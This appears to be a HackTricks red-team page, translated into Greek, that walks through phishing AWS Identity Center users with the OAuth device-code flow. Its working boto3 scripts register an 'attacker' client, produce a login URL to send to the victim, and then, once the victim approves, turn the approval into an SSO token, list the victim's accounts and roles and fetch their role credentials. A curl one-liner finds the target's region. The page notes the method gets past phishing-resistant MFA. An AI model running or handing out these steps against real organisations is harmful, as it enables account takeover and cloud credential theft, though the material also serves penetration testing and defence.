AWS - Identity Center & SSO Unauthenticated Enum

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Αλιεία Κωδικού Συσκευής AWS

Αρχικά προτάθηκε σε αυτήν την ανάρτηση στο blog, είναι δυνατό να σταλεί ένας σύνδεσμος σε έναν χρήστη χρησιμοποιώντας το AWS SSO που αν ο χρήστης τον αποδεχτεί ο επιτιθέμενος θα μπορεί να λάβει ένα διακριτικό για να προσωποποιήσει τον χρήστη και να έχει πρόσβαση σε όλους τους ρόλους στους οποίους ο χρήστης έχει πρόσβαση στο Κέντρο Ταυτότητας.

Για να πραγματοποιηθεί αυτή η επίθεση, οι προϋποθέσεις είναι:

  • Το θύμα πρέπει να χρησιμοποιεί το Κέντρο Ταυτότητας

  • Ο επιτιθέμενος πρέπει να γνωρίζει το υποτομέα που χρησιμοποιεί το θύμα <victimsub>.awsapps.com/start

Μόνο με αυτές τις πληροφορίες, ο επιτιθέμενος θα μπορεί να στείλει έναν σύνδεσμο στον χρήστη που αν αποδεχτεί θα χορηγήσει στον επιτιθέμενο πρόσβαση στο λογαριασμό χρήστη του AWS.

Επίθεση

  1. Εύρεση του υποτομέα

Το πρώτο βήμα του επιτιθέμενου είναι να βρει τον υποτομέα που χρησιμοποιεί η εταιρεία θύματος στο Κέντρο Ταυτότητας τους. Αυτό μπορεί να γίνει μέσω OSINT ή μαντείου + BF καθώς οι περισσότερες εταιρείες θα χρησιμοποιούν το όνομά τους ή μια παραλλαγή του εδώ.

Με αυτές τις πληροφορίες, είναι δυνατό να αποκτηθεί η περιοχή όπου διαμορφώθηκε το Κέντρο Ταυτότητας:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Δημιουργήστε το σύνδεσμο για το θύμα & Αποστείλτε τον

Εκτελέστε τον παρακάτω κώδικα για να δημιουργήσετε έναν σύνδεσμο σύνδεσης AWS SSO ώστε το θύμα να πιστοποιηθεί. Για την επίδειξη, εκτελέστε αυτόν τον κώδικα σε ένα παράθυρο python console και μην τον κλείσετε καθώς αργότερα θα χρειαστείτε μερικά αντικείμενα για να λάβετε το token:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
  1. Περιμένετε μέχρι ο θύμα να το αποδεχτεί

Αν το θύμα ήταν ήδη συνδεδεμένο στο AWS, θα χρειαστεί απλώς να αποδεχτεί τη χορήγηση των δικαιωμάτων, αν δεν ήταν, θα πρέπει να συνδεθεί και στη συνέχεια να αποδεχτεί τη χορήγηση των δικαιωμάτων. Έτσι φαίνεται η πρόταση σήμερα:

  1. Λάβετε το διακριτικό πρόσβασης SSO

Αν το θύμα αποδέχτηκε την πρόταση, εκτελέστε αυτόν τον κώδικα για να δημιουργήσετε ένα διακριτικό πρόσβασης SSO προσωποποιώντας τον χρήστη:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Το SSO access token είναι έγκυρο για 8 ώρες.

  1. Προσωποποίηση του χρήστη

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Αλιεία (Phishing) του μη αλιεύσιμου MFA

Είναι διασκεδαστικό να γνωρίζετε ότι η προηγούμενη επίθεση λειτουργεί ακόμα κι αν χρησιμοποιείται ένα "μη αλιεύσιμο MFA" (webAuth). Αυτό συμβαίνει επειδή η προηγούμενη διαδικασία ποτέ δεν αφήνει τον χρήστη τον τομέα OAuth που χρησιμοποιείται. Όχι όπως σε άλλες αλιευτικές επιθέσεις όπου ο χρήστης χρειάζεται να αντικαταστήσει τον τομέα σύνδεσης, στην περίπτωση της διαδικασίας κώδικα συσκευής είναι προετοιμασμένος έτσι ώστε ένας κώδικας να είναι γνωστός από μια συσκευή και ο χρήστης μπορεί να συνδεθεί ακόμα και από διαφορετικό υπολογιστή. Εάν γίνει αποδεκτή η πρόταση, η συσκευή, απλώς με το να γνωρίζει τον αρχικό κώδικα, θα μπορεί να ανακτήσει τα διαπιστευτήρια του χρήστη.

Για περισσότερες πληροφορίες σχετικά με αυτό ελέγξτε αυτήν την ανάρτηση.

Αυτόματα Εργαλεία

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated